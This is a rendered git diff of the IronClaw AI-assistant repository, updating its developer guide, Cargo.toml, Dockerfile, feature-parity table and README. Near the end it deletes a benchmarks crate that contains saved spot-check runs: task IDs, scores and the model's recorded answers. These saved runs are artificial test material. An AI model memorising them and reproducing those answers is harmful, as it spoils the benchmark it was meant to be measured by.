1. Create a new crate in `tools-src/<name>/`
2. Implement the WIT interface (`wit/tool.wit`)
3. Create `<name>.capabilities.json` declaring required permissions
4. Build with `cargo build --target wasm32-wasip2 --release`
5. Install with `ironclaw tool install path/to/tool.wasm`
See `tools-src/` for examples.
## Tool Architecture Principles
**CRITICAL: Keep tool-specific logic out of the main agent codebase.**
The main agent provides generic infrastructure; tools are self-contained units that declare their requirements through capabilities files.
### What Goes in Tools (capabilities.json)
- API endpoints the tool needs (HTTP allowlist)
- Credentials required (secret names, injection locations)
- Rate limits and timeouts
- Auth setup instructions (see below)
- Workspace paths the tool can read
### What Does NOT Go in Main Agent
- Service-specific auth flows (OAuth for Notion, Slack, etc.)
- Service-specific CLI commands (`auth notion`, `auth slack`)
- Service-specific configuration handling
- Hardcoded API URLs or token formats
### Tool Authentication
Tools declare their auth requirements in `<tool>.capabilities.json` under the `auth` section. Two methods are supported:
#### OAuth (Browser-based login)
For services that support OAuth, users just click through browser login:
```json
{
"auth": {
"secret_name": "notion_api_token",
"display_name": "Notion",
"oauth": {
"authorization_url": "https://api.notion.com/v1/oauth/authorize",
"token_url": "https://api.notion.com/v1/oauth/token",
"client_id_env": "NOTION_OAUTH_CLIENT_ID",
"client_secret_env": "NOTION_OAUTH_CLIENT_SECRET",
"scopes": [],
"use_pkce": false,
"extra_params": { "owner": "user" }
},
"env_var": "NOTION_TOKEN"
}
}
```
To enable OAuth for a tool:
1. Register a public OAuth app with the service (e.g., notion.so/my-integrations)
2. Configure redirect URIs: `http://localhost:9876/callback` through `http://localhost:9886/callback`
3. Set environment variables for client_id and client_secret
#### Manual Token Entry (Fallback)
For services without OAuth or when OAuth isn't configured:
```json
{
"auth": {
"secret_name": "openai_api_key",
"display_name": "OpenAI",
"instructions": "Get your API key from platform.openai.com/api-keys",
"setup_url": "https://platform.openai.com/api-keys",
"token_hint": "Starts with 'sk-'",
"env_var": "OPENAI_API_KEY"
}
}
```
#### Auth Flow Priority
When running `ironclaw tool auth <tool>`:
1. Check `env_var` - if set in environment, use it directly
2. Check `oauth` - if configured, open browser for OAuth flow
3. Fall back to `instructions` + manual token entry
The agent reads auth config from the tool's capabilities file and provides the appropriate flow. No service-specific code in the main agent.
### WASM Tools vs MCP Servers: When to Use Which
Both are first-class in the extension system (`ironclaw tool install` handles both), but they have different strengths.
**WASM Tools (IronClaw native)**
- Sandboxed: fuel metering, memory limits, no access except what's allowlisted
- Credentials injected by host runtime, tool code never sees the actual token
- Output scanned for secret leakage before returning to the LLM
- Auth (OAuth/manual) declared in `capabilities.json`, agent handles the flow
- Single binary, no process management, works offline
- Cost: must build yourself in Rust, no ecosystem, synchronous only
**MCP Servers (Model Context Protocol)**
- Growing ecosystem of pre-built servers (GitHub, Notion, Postgres, etc.)
- Any language (TypeScript/Python most common)
- Can do websockets, streaming, background polling
- Cost: external process with full system access (no sandbox), manages own credentials, IronClaw can't prevent leaks
**Decision guide:**
| Scenario | Use |
|----------|-----|
| Good MCP server already exists | **MCP** |
| Handles sensitive credentials (email send, banking) | **WASM** |
| Quick prototype or one-off integration | **MCP** |
| Core capability you'll maintain long-term | **WASM** |
| Needs background connections (websockets, polling) | **MCP** |
| Multiple tools share one OAuth token (e.g., Google suite) | **WASM** |
The LLM-facing interface is identical for both (tool name, schema, execute), so swapping between them is transparent to the agent.
See `src/tools/README.md` for full tool architecture, adding new tools (built-in Rust and WASM), auth JSON examples, and WASM vs MCP decision guide.
## Adding a New Channel
@@ -645,154 +671,15 @@ for that module's behavior. When modifying code in a module that has a spec:
| Module | Spec File |
|--------|-----------|
| `src/setup/` | `src/setup/README.md` |
## Code Style
- Use `crate::` imports, not `super::`
- No `pub use` re-exports unless exposing to downstream consumers
- Prefer strong types over strings (enums, newtypes)
- Keep functions focused, extract helpers when logic is reused
- Comments for non-obvious logic only
## Review & Fix Discipline
Hard-won lessons from code review -- follow these when fixing bugs or addressing review feedback.
### Fix the pattern, not just the instance
When a reviewer flags a bug (e.g., TOCTOU race in INSERT + SELECT-back), search the entire codebase for all instances of that same pattern. A fix in `SecretsStore::create()` that doesn't also fix `WasmToolStore::store()` is half a fix.
### Propagate architectural fixes to satellite types
If a core type changes its concurrency model (e.g., `LibSqlBackend` switches to connection-per-operation), every type that was handed a resource from the old model (e.g., `LibSqlSecretsStore`, `LibSqlWasmToolStore` holding a single `Connection`) must also be updated. Grep for the old type across the codebase.
### Schema translation is more than DDL
When translating a database schema between backends (PostgreSQL to libSQL, etc.), check for:
- **Indexes** -- diff `CREATE INDEX` statements between the two schemas
- **Seed data** -- check for `INSERT INTO` in migrations (e.g., `leak_detection_patterns`)
- **Semantic differences** -- document where SQL functions behave differently (e.g., `json_patch` vs `jsonb_set`)
### Feature flag testing
When adding feature-gated code, test compilation with each feature in isolation:
```bash
cargo check # default features
cargo check --no-default-features --features libsql # libsql only
cargo check --all-features # all features
```
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
### Mechanical verification before committing
Run these checks on changed files before committing:
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
- `grep -rn 'super::' <files>` -- use `crate::` imports
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
| `src/workspace/` | `src/workspace/README.md` |
| `src/tools/` | `src/tools/README.md` |
## Workspace & Memory System
Inspired by [OpenClaw](https://github.com/openclaw/openclaw), the workspace provides persistent memory for agents with a flexible filesystem-like structure.
OpenClaw-inspired persistent memory with a flexible filesystem-like structure. Principle: "Memory is database, not RAM" -- if you want to remember something, write it explicitly. Uses hybrid search combining FTS (keyword) + vector (semantic) via Reciprocal Rank Fusion.
### Key Principles
Four memory tools for LLM use: `memory_search` (hybrid search -- call before answering questions about prior work), `memory_write`, `memory_read`, `memory_tree`. Identity files (AGENTS.md, SOUL.md, USER.md, IDENTITY.md) are injected into the LLM system prompt.
1. **"Memory is database, not RAM"** - If you want to remember something, write it explicitly
2. **Flexible structure** - Create any directory/file hierarchy you need
3. **Self-documenting** - Use README.md files to describe directory structure
4. **Hybrid search** - Combines FTS (keyword) + vector (semantic) via Reciprocal Rank Fusion
The heartbeat system runs proactive periodic execution (default: 30 minutes), reading `HEARTBEAT.md` and notifying via channel if findings are detected.
### Filesystem Structure
```
workspace/
├── README.md <- Root runbook/index
├── MEMORY.md <- Long-term curated memory
├── HEARTBEAT.md <- Periodic checklist
├── IDENTITY.md <- Agent name, nature, vibe
├── SOUL.md <- Core values
├── AGENTS.md <- Behavior instructions
├── USER.md <- User context
├── context/ <- Identity-related docs
│ ├── vision.md
│ └── priorities.md
├── daily/ <- Daily logs
│ ├── 2024-01-15.md
│ └── 2024-01-16.md
├── projects/ <- Arbitrary structure
│ └── alpha/
│ ├── README.md
│ └── notes.md
└── ...
```
### Using the Workspace
```rust
use crate::workspace::{Workspace, OpenAiEmbeddings, paths};
// Create workspace for a user
let workspace = Workspace::new("user_123", pool)
.with_embeddings(Arc::new(OpenAiEmbeddings::new(api_key)));
// Read/write any path
let doc = workspace.read("projects/alpha/notes.md").await?;
workspace.write("context/priorities.md", "# Priorities\n\n1. Feature X").await?;
workspace.append("daily/2024-01-15.md", "Completed task X").await?;
// Convenience methods for well-known files
workspace.append_memory("User prefers dark mode").await?;
workspace.append_daily_log("Session note").await?;
// List directory contents
let entries = workspace.list("projects/").await?;
// Search (hybrid FTS + vector)
let results = workspace.search("dark mode preference", 5).await?;
// Get system prompt from identity files
let prompt = workspace.system_prompt().await?;
```
### Memory Tools
Four tools for LLM use:
- **`memory_search`** - Hybrid search, MUST be called before answering questions about prior work
- **`memory_write`** - Write to any path (memory, daily_log, or custom paths)
- **`memory_read`** - Read any file by path
- **`memory_tree`** - View workspace structure as a tree (depth parameter, default 1)
### Hybrid Search (RRF)
Combines full-text search and vector similarity using Reciprocal Rank Fusion:
```
score(d) = Σ 1/(k + rank(d)) for each method where d appears
```
Default k=60. Results from both methods are combined, with documents appearing in both getting boosted scores.
**Backend differences:**
- **PostgreSQL:** `ts_rank_cd` for FTS, pgvector cosine distance for vectors, full RRF
- **libSQL:** FTS5 for keyword search only (vector search via `libsql_vector_idx` not yet wired)
### Heartbeat System
Proactive periodic execution (default: 30 minutes):
1. Reads `HEARTBEAT.md` checklist
2. Runs agent turn with checklist prompt
3. If findings, notifies via channel
4. If nothing, agent replies "HEARTBEAT_OK" (no notification)
```rust
use crate::agent::{HeartbeatConfig, spawn_heartbeat};
let config = HeartbeatConfig::default()
.with_interval(Duration::from_secs(60 * 30))
.with_notify("user_123", "telegram");
spawn_heartbeat(config, workspace, llm, response_tx);
```
### Chunking Strategy
Documents are chunked for search indexing:
- Default: 800 words per chunk (roughly 800 tokens for English)
- 15% overlap between chunks for context preservation
- Minimum chunk size: 50 words (tiny trailing chunks merge with previous)
See `src/workspace/README.md` for full API documentation, filesystem structure, hybrid search details, chunking strategy, and heartbeat system.
Generated
+1130 -291
View File
File diff suppressed because it is too large Load Diff
+42 -6
View File
@@ -1,15 +1,25 @@
[workspace]
members = [".", "benchmarks"]
members = ["."]
exclude = [
"channels-src/discord",
"channels-src/telegram",
"channels-src/slack",
"channels-src/whatsapp",
"tools-src/github",
"tools-src/gmail",
"tools-src/google-calendar",
"tools-src/google-docs",
"tools-src/google-drive",
"tools-src/google-sheets",
"tools-src/google-slides",
"tools-src/okta",
"tools-src/slack",
"tools-src/telegram",
]
[package]
name = "ironclaw"
version = "0.6.0"
version = "0.13.0"
edition = "2024"
rust-version = "1.92"
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
@@ -42,6 +52,9 @@ deadpool-postgres = { version = "0.14", optional = true }
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
tokio-postgres-rustls = { version = "0.13", optional = true }
rustls = { version = "0.23", optional = true, default-features = false }
rustls-native-certs = { version = "0.8", optional = true }
# Database - libSQL/Turso (optional embedded database)
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
@@ -59,7 +72,7 @@ dotenvy = "0.15"
toml = "0.8"
# Core types
uuid = { version = "1", features = ["v4", "serde"] }
uuid = { version = "1", features = ["v4", "v5", "serde"] }
chrono = { version = "0.4", features = ["serde"] }
rust_decimal = { version = "1", features = ["serde", "serde-with-str", "maths"] }
rust_decimal_macros = "1"
@@ -72,13 +85,13 @@ clap = { version = "4", features = ["derive", "env"] }
# Terminal
crossterm = "0.28"
rustyline = { version = "17", features = ["derive", "with-file-history"] }
rustyline = { version = "17", features = ["custom-bindings", "derive", "with-file-history"] }
termimad = "0.34"
# Channel integrations
axum = { version = "0.8", features = ["ws"] }
tower = "0.5"
tower-http = { version = "0.6", features = ["trace", "cors"] }
tower-http = { version = "0.6", features = ["trace", "cors", "set-header"] }
# Cron scheduling for routines
cron = "0.13"
@@ -127,6 +140,10 @@ rig-core = "0.30"
# Docker sandbox
bollard = "0.18"
# Archive extraction for WASM extension bundles
flate2 = "1"
tar = "0.4"
# HTTP proxy for sandboxed network access
hyper = { version = "1.5", features = ["server", "http1", "http2"] }
hyper-util = { version = "0.1", features = ["server", "tokio", "http1", "http2"] }
@@ -134,6 +151,14 @@ http-body-util = "0.1"
bytes = "1"
base64 = "0.22.1"
mime_guess = "2.0.5"
clap_complete = "4.5.0"
lru = "0.16.3"
# HTML to Markdown conversion (feature gated)
html-to-markdown-rs = { version = "2.3", optional = true }
readabilityrs = { version = "0.1.2", optional = true }
ed25519-dalek = { version = "2.2.0", features = ["std"] }
hex = "0.4.3"
# macOS keychain
[target.'cfg(target_os = "macos")'.dependencies]
@@ -150,12 +175,16 @@ tokio-tungstenite = "0.26"
testcontainers-modules = { version = "0.11", features = ["postgres"] }
pretty_assertions = "1"
tempfile = "3"
insta = "1.46.3"
[features]
default = ["postgres", "libsql"]
default = ["postgres", "libsql", "html-to-markdown"]
postgres = [
"dep:deadpool-postgres",
"dep:tokio-postgres",
"dep:tokio-postgres-rustls",
"dep:rustls",
"dep:rustls-native-certs",
"dep:postgres-types",
"dep:refinery",
"dep:pgvector",
@@ -163,6 +192,11 @@ postgres = [
]
libsql = ["dep:libsql"]
integration = []
html-to-markdown = ["dep:html-to-markdown-rs", "dep:readabilityrs"]
[[test]]
name = "html_to_markdown"
required-features = ["html-to-markdown"]
# The profile that 'cargo dist' will build with
[profile.dist]
@@ -173,6 +207,8 @@ lto = "thin"
[workspace.metadata.dist]
# The preferred dist version to use in CI (Cargo.toml SemVer syntax)
cargo-dist-version = "0.30.3"
# Ignore out-of-date generated CI so custom release.yml jobs are allowed
allow-dirty = ["ci"]
# CI backends to support
ci = "github"
# The installers to generate for each app
+8 -2
View File
@@ -11,16 +11,22 @@ FROM rust:1.92-slim-bookworm AS builder
RUN apt-get update && apt-get install -y --no-install-recommends \
pkg-config libssl-dev cmake gcc g++ \
&& rm -rf /var/lib/apt/lists/*
&& rm -rf /var/lib/apt/lists/* \
&& rustup target add wasm32-wasip2 \
&& cargo install wasm-tools
WORKDIR /app
# Copy manifests first for layer caching
COPY Cargo.toml Cargo.lock ./
# Copy source and build artifacts
# Copy source, build script, tests, and supporting directories
COPY build.rs build.rs
COPY src/ src/
COPY tests/ tests/
COPY migrations/ migrations/
COPY registry/ registry/
COPY channels-src/ channels-src/
COPY wit/ wit/
RUN cargo build --release --bin ironclaw
+10 -11
View File
@@ -37,7 +37,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Session management/routing | ✅ | ✅ | SessionManager exists |
| Configuration hot-reload | ✅ | ❌ | |
| Network modes (loopback/LAN/remote) | ✅ | 🚧 | HTTP only |
| OpenAI-compatible HTTP API | ✅ | ✅ | /v1/chat/completions |
| OpenAI-compatible HTTP API | ✅ | ✅ | /v1/chat/completions, per-request `model` override |
| Canvas hosting | ✅ | ❌ | Agent-driven UI |
| Gateway lock (PID-based) | ✅ | ❌ | |
| launchd/systemd integration | ✅ | ❌ | |
@@ -68,7 +68,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| WhatsApp | ✅ | ❌ | P1 | Baileys (Web), same-phone mode with echo detection |
| Telegram | ✅ | ✅ | - | WASM channel(MTProto), DM pairing, caption, /start, bot_username |
| Discord | ✅ | ❌ | P2 | discord.js, thread parent binding inheritance |
| Signal | ✅ | | P2 | signal-cli |
| Signal | ✅ | | P2 | signal-cli daemonPC, SSE listener HTTP/JSON-R, user/group allowlists, DM pairing |
| Slack | ✅ | ✅ | - | WASM tool |
| iMessage | ✅ | ❌ | P3 | BlueBubbles or Linq recommended |
| Linq | ✅ | ❌ | P3 | Real iMessage via API, no Mac required |
@@ -120,7 +120,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Per-group tool policies | ✅ | ❌ | Allow/deny specific tools |
| Thread isolation | ✅ | ✅ | Separate sessions per thread |
| Per-channel media limits | ✅ | 🚧 | Caption support for media; no size limits |
| Typing indicators | ✅ | 🚧 | TUI shows status |
| Typing indicators | ✅ | 🚧 | TUI + Telegram typing/actionable status prompts; richer parity pending |
| Per-channel ackReaction config | ✅ | ❌ | Customizable acknowledgement reactions |
| Group session priming | ✅ | ❌ | Member roster injected for context |
| Sender_id in trusted metadata | ✅ | ❌ | Exposed in system metadata |
@@ -158,7 +158,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| `doctor` | ✅ | ❌ | P2 | Diagnostics |
| `logs` | ✅ | ❌ | P3 | Query logs |
| `update` | ✅ | ❌ | P3 | Self-update |
| `completion` | ✅ | | P3 | Shell completion |
| `completion` | ✅ | | - | Shell completion |
| `/subagents spawn` | ✅ | ❌ | P3 | Spawn subagents from chat |
| `/export-session` | ✅ | ❌ | P3 | Export current session transcript |
@@ -278,7 +278,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Auth plugins | ✅ | ❌ | |
| Memory plugins | ✅ | ❌ | Custom backends |
| Tool plugins | ✅ | ✅ | WASM tools |
| Hook plugins | ✅ | | |
| Hook plugins | ✅ | | Declarative hooks from extension capabilities |
| Provider plugins | ✅ | ❌ | |
| Plugin CLI (`install`, `list`) | ✅ | ✅ | `tool` subcommand |
| ClawHub registry | ✅ | ❌ | Discovery |
@@ -421,10 +421,10 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| `transcribeAudio` hook | ✅ | ❌ | P3 | |
| `transformResponse` hook | ✅ | ✅ | P2 | |
| `llm_input`/`llm_output` hooks | ✅ | ❌ | P3 | LLM payload inspection |
| Bundled hooks | ✅ | | P2 | |
| Plugin hooks | ✅ | | P3 | |
| Workspace hooks | ✅ | | P2 | Inline code |
| Outbound webhooks | ✅ | | P2 | |
| Bundled hooks | ✅ | | P2 | Audit + declarative rule/webhook hooks |
| Plugin hooks | ✅ | | P3 | Registered from WASM `capabilities.json` |
| Workspace hooks | ✅ | | P2 | `hooks/hooks.json` and `hooks/*.hook.json` |
| Outbound webhooks | ✅ | | P2 | Fire-and-forget lifecycle event delivery |
| Heartbeat system | ✅ | ✅ | - | Periodic execution |
| Gmail pub/sub | ✅ | ❌ | P3 | |
@@ -528,7 +528,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
- ✅ Telegram channel (WASM, DM pairing, caption, /start)
- ❌ WhatsApp channel
- ✅ Multi-provider failover (`FailoverProvider` with retryable error classification)
- ✅ Hooks system (beforeInbound, beforeToolCall, beforeOutbound, onSessionStart, onSessionEnd, transformResponse)
- ✅ Hooks system (core lifecycle hooks + bundled/plugin/workspace hooks + outbound webhooks)
### P2 - Medium Priority
- ❌ Media handling (images, PDFs)
@@ -540,7 +540,6 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
### P3 - Lower Priority
- ❌ Discord channel
- ❌ Signal channel
- ❌ Matrix channel
- ❌ Other messaging platforms
- ❌ TTS/audio features
+33 -1
View File
@@ -1,5 +1,5 @@
<p align="center">
<img src="ironclaw.png" alt="IronClaw" width="200"/>
<img src="ironclaw.png?v=2" alt="IronClaw" width="200"/>
</p>
<h1 align="center">IronClaw</h1>
@@ -8,6 +8,12 @@
<strong>Your secure personal AI assistant, always on your side</strong>
</p>
<p align="center">
<a href="#license"><img src="https://img.shields.io/badge/license-MIT%20OR%20Apache%202.0-blue.svg" alt="License: MIT OR Apache-2.0" /></a>
<a href="https://t.me/ironclawAI"><img src="https://img.shields.io/badge/Telegram-%40ironclawAI-26A5E4?style=flat&logo=telegram&logoColor=white" alt="Telegram: @ironclawAI" /></a>
<a href="https://www.reddit.com/r/ironclawAI/"><img src="https://img.shields.io/badge/Reddit-r%2FironclawAI-FF4500?style=flat&logo=reddit&logoColor=white" alt="Reddit: r/ironclawAI" /></a>
</p>
<p align="center">
<a href="#philosophy">Philosophy</a> •
<a href="#features">Features</a> •
@@ -99,6 +105,15 @@ curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/release
```
</details>
<details>
<summary>Install via Homebrew (macOS/Linux)</summary>
```sh
brew install ironclaw
```
</details>
<details>
<summary>Compile the source code (Cargo on Windows, Linux, macOS)</summary>
@@ -143,6 +158,23 @@ and secrets encryption (using your system keychain). Settings are persisted in t
connected database; bootstrap variables (e.g. `DATABASE_URL`, `LLM_BACKEND`) are
written to `~/.ironclaw/.env` so they are available before the database connects.
### Alternative LLM Providers
IronClaw defaults to NEAR AI but works with any OpenAI-compatible endpoint.
Popular options include **OpenRouter** (300+ models), **Together AI**, **Fireworks AI**,
**Ollama** (local), and self-hosted servers like **vLLM** or **LiteLLM**.
Select *"OpenAI-compatible"* in the wizard, or set environment variables directly:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://openrouter.ai/api/v1
LLM_API_KEY=sk-or-...
LLM_MODEL=anthropic/claude-sonnet-4
```
See [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) for a full provider guide.
## Security
IronClaw implements defense in depth to protect your data and prevent misuse.
-50
View File
@@ -1,50 +0,0 @@
[package]
name = "ironclaw-bench"
version = "0.1.0"
edition = "2024"
rust-version = "1.85"
description = "Benchmarking harness for IronClaw agent"
license = "MIT OR Apache-2.0"
publish = false
[[bin]]
name = "ironclaw-bench"
path = "src/main.rs"
[dependencies]
ironclaw = { path = ".." }
# Async runtime
tokio = { version = "1", features = ["full"] }
tokio-stream = { version = "0.1", features = ["sync"] }
futures = "0.3"
# Serialization
serde = { version = "1", features = ["derive"] }
serde_json = "1"
toml = "0.8"
# CLI
clap = { version = "4", features = ["derive"] }
# Core types
uuid = { version = "1", features = ["v4", "serde"] }
chrono = { version = "0.4", features = ["serde"] }
rust_decimal = { version = "1", features = ["serde", "serde-with-str"] }
# Error handling
thiserror = "2"
anyhow = "1"
# Async traits
async-trait = "0.1"
# Logging
tracing = "0.1"
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
# Scoring
regex = "1"
[dev-dependencies]
tempfile = "3"
@@ -1,15 +0,0 @@
{
"run_id": "8a48de1f-09ce-4c35-9ad1-dad98fb83a1a",
"suite_id": "spot",
"config_label": "default",
"model": "openai/gpt-5.2",
"commit_hash": "2c43b83",
"pass_rate": 1.0,
"avg_score": 1.0,
"total_tasks": 21,
"completed_tasks": 21,
"total_cost_usd": 0.307053,
"total_wall_time_ms": 111009,
"started_at": "2026-02-17T22:02:08.206112Z",
"finished_at": "2026-02-17T22:03:59.270325Z"
}
@@ -1,21 +0,0 @@
{"task_id":"smoke-greeting","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2037,"llm_calls":1,"input_tokens":1359,"output_tokens":65,"estimated_cost_usd":0.005052,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Im NEAR AI Agent—an autonomous assistant that helps you plan, write, debug, and execute tasks using available tools (like reading/writing files, running shell commands, and making HTTP requests). Tell me what youre working on and what outcome you want, and Ill drive it to completion.","started_at":"2026-02-17T22:02:08.206165Z","finished_at":"2026-02-17T22:02:10.243552Z","config_label":"default","error":null}
{"task_id":"smoke-math","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2038,"llm_calls":1,"input_tokens":1366,"output_tokens":5,"estimated_cost_usd":0.004173,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"1081","started_at":"2026-02-17T22:02:10.243933Z","finished_at":"2026-02-17T22:02:12.282133Z","config_label":"default","error":null}
{"task_id":"tool-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2646,"llm_calls":2,"input_tokens":2786,"output_tokens":24,"estimated_cost_usd":0.008718,"tool_calls":[{"name":"echo","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Spot check passed","started_at":"2026-02-17T22:02:12.282294Z","finished_at":"2026-02-17T22:02:14.928540Z","config_label":"default","error":null}
{"task_id":"tool-time","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3460,"llm_calls":2,"input_tokens":2839,"output_tokens":78,"estimated_cost_usd":0.009687,"tool_calls":[{"name":"time","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Current date/time (UTC): **2026-02-17 22:02:16** \nISO 8601: **2026-02-17T22:02:16.045933+00:00**","started_at":"2026-02-17T22:02:14.928810Z","finished_at":"2026-02-17T22:02:18.389188Z","config_label":"default","error":null}
{"task_id":"tool-json-query","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2751,"llm_calls":2,"input_tokens":2839,"output_tokens":43,"estimated_cost_usd":0.009162,"tool_calls":[{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Bob","started_at":"2026-02-17T22:02:18.389812Z","finished_at":"2026-02-17T22:02:21.141146Z","config_label":"default","error":null}
{"task_id":"tool-shell-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3460,"llm_calls":2,"input_tokens":2811,"output_tokens":25,"estimated_cost_usd":0.008808,"tool_calls":[{"name":"shell","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"benchmark test","started_at":"2026-02-17T22:02:21.141384Z","finished_at":"2026-02-17T22:02:24.601812Z","config_label":"default","error":null}
{"task_id":"tool-list-dir","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":19146,"llm_calls":2,"input_tokens":4370,"output_tokens":1337,"estimated_cost_usd":0.033165,"tool_calls":[{"name":"list_dir","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"```\nclaude-501/\nclaude-505/\nclaude/\ncodex/\ncom.apple.launchd.HqYyNM7hoK/\ncom.apple.launchd.Z0bTtlsPEN/\ncom.apple.launchd.oY8y5gkzN4/\ncom.apple.launchd.sdo3WGu0S7/\ndata-gym-cache/\ndocker-desktop-privileged2203342862/\ngrammers-test/\nnear-agent-target/\nnear-market-bot-push/\nnear-market-bot/\nopenclaw/\npowerlog/\ntest_grpo/\ntest_grpo2/\ntest_grpo_entry/\ntest_grpo_mix/\ntest_grpo_singleton/\ntmpybtjiuc0/\n.d8bd37babaf2f1f7-00000000.node (5.9MB)\n.d8bd37fbfbb0f7ff-00000000.node (5.9MB)\n.d8bd3d9bdf6dd3f7-00000000.node (5.9MB)\n.d8bd3fbfbf21ddf7-00000000.node (5.9MB)\n.d8bd7dfebb38d5ff-00000000.node (5.9MB)\n.d8bdf5deba3bf1f7-00000000.node (5.9MB)\n.d8bdf7cfff76f3f7-00000000.node (5.9MB)\n.d8bdfd8ffe26d5ff-00000000.node (5.9MB)\n.d8bdfdeb9ba8dbff-00000000.node (5.9MB)\n.d8bdfffe9ab2ddff-00000000.node (5.9MB)\n.s.PGSQL.5432 (0B)\n.s.PGSQL.5432.lock (56B)\n__KMP_REGISTERED_LIB_75079 (1.0KB)\nagent_loop_new.rs (28.5KB)\nagent_mod.rs (1.6KB)\nauth_trace.md (10.8KB)\nbench-daily.md (72B)\nbench-log.md (109B)\nbench-meeting.md (160B)\nbench-monday.md (44B)\nbench-prefs.md (61B)\nbench-project.md (213B)\nbench-reminder.md (68B)\nbench-todo.md (153B)\nbench-tuesday.md (40B)\ncac-deck.html (151.5KB)\ncircuit_breaker.rs (22.1KB)\ncli_config.rs (9.1KB)\ncli_service.rs (1.1KB)\ncommands.rs (17.5KB)\nconfig.rs (58.4KB)\nconflicts_summary.md (21.4KB)\ncost_guard.rs (11.3KB)\ndebug_forc2.py (2.8KB)\ndebug_forc3.py (3.0KB)\ndebug_forc4.py (3.0KB)\ndebug_forc5.py (4.0KB)\ndebug_forc6.py (3.9KB)\ndebug_forc7.py (2.7KB)\ndebug_forc8.py (2.9KB)\ndebug_forc_prove.py (3.0KB)\ndispatcher.rs (26.2KB)\ndoctor.rs (8.4KB)\nhygiene.rs (7.3KB)\nironclaw_blog_test.png (21.4KB)\nironclaw_browser_test_viewport.png (156.1KB)\nironclaw_linkedin_debug.png (6.5KB)\nironclaw_spot_test.txt (19B)\nkeys_chain_signatures.rs (6.1KB)\nkeys_error.rs (1.6KB)\nkeys_intents.rs (5.8KB)\nkeys_mod.rs (31.6KB)\nkeys_policy.rs (31.4KB)\nkeys_rpc.rs (8.5KB)\nkeys_signer.rs (8.0KB)\nkeys_spending.rs (5.9KB)\nkeys_transaction.rs (13.7KB)\nkeys_types.rs (17.4KB)\nleak_detection_research_summary.md (13.0KB)\nleak_detector.rs (25.3KB)\nlib_new.rs (5.0KB)\nllm_mod.rs (10.0KB)\nmain.rs (56.8KB)\nmain_bootstrap.rs (11.0KB)\nmain_rs.txt (34.1KB)\nnear_resp.json (39B)\nobs_log.rs (5.9KB)\nobs_mod.rs (2.7KB)\nobs_multi.rs (4.0KB)\nobs_noop.rs (1.5KB)\nobs_traits.rs (4.0KB)\nour_bootstrap.rs (12.6KB)\nour_config.rs (45.2KB)\npost_final_review.py (6.4KB)\npost_review.py (4.6KB)\npost_review2.py (4.8KB)\npost_review3.py (2.2KB)\npr-35.diff (137.4KB)\npr115.diff (1.6MB)\npr126.diff (336.9KB)\npr14_full_diff.txt (193.4KB)\npr39_files.txt (243B)\npr51_files.txt (548B)\npr93_diff.txt (160.4KB)\nprs.json (4.6KB)\nresponse_cache.rs (15.1KB)\nrun_hard_proof_search.sh (545B)\nrun_hard_proof_search2.sh (515B)\nrun_proof_search_v3.sh (523B)\nrun_proof_search_v4.sh (524B)\nservice.rs (11.9KB)\nsettings.rs (34.7KB)\ntest_line.py (789B)\ntest_search.txt (1.8KB)\nthread_ops.rs (38.5KB)\ntool_wit.txt (6.0KB)\ntunnel_cf.rs (3.9KB)\ntunnel_custom.rs (6.2KB)\ntunnel_mod.rs (10.4KB)\ntunnel_ngrok.rs (4.2KB)\ntunnel_none.rs (1.3KB)\ntunnel_ts.rs (3.5KB)\nwasm_capabilities.rs (15.2KB)\nwasm_capabilities_schema.rs (26.2KB)\nwasm_host.rs (25.3KB)\nwasm_wrapper.rs (14.9KB)\n```","started_at":"2026-02-17T22:02:24.602248Z","finished_at":"2026-02-17T22:02:43.748463Z","config_label":"default","error":null}
{"task_id":"chain-write-read","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5712,"llm_calls":3,"input_tokens":4489,"output_tokens":73,"estimated_cost_usd":0.014562,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"It says: `ironclaw spot check`.","started_at":"2026-02-17T22:02:43.749933Z","finished_at":"2026-02-17T22:02:49.462007Z","config_label":"default","error":null}
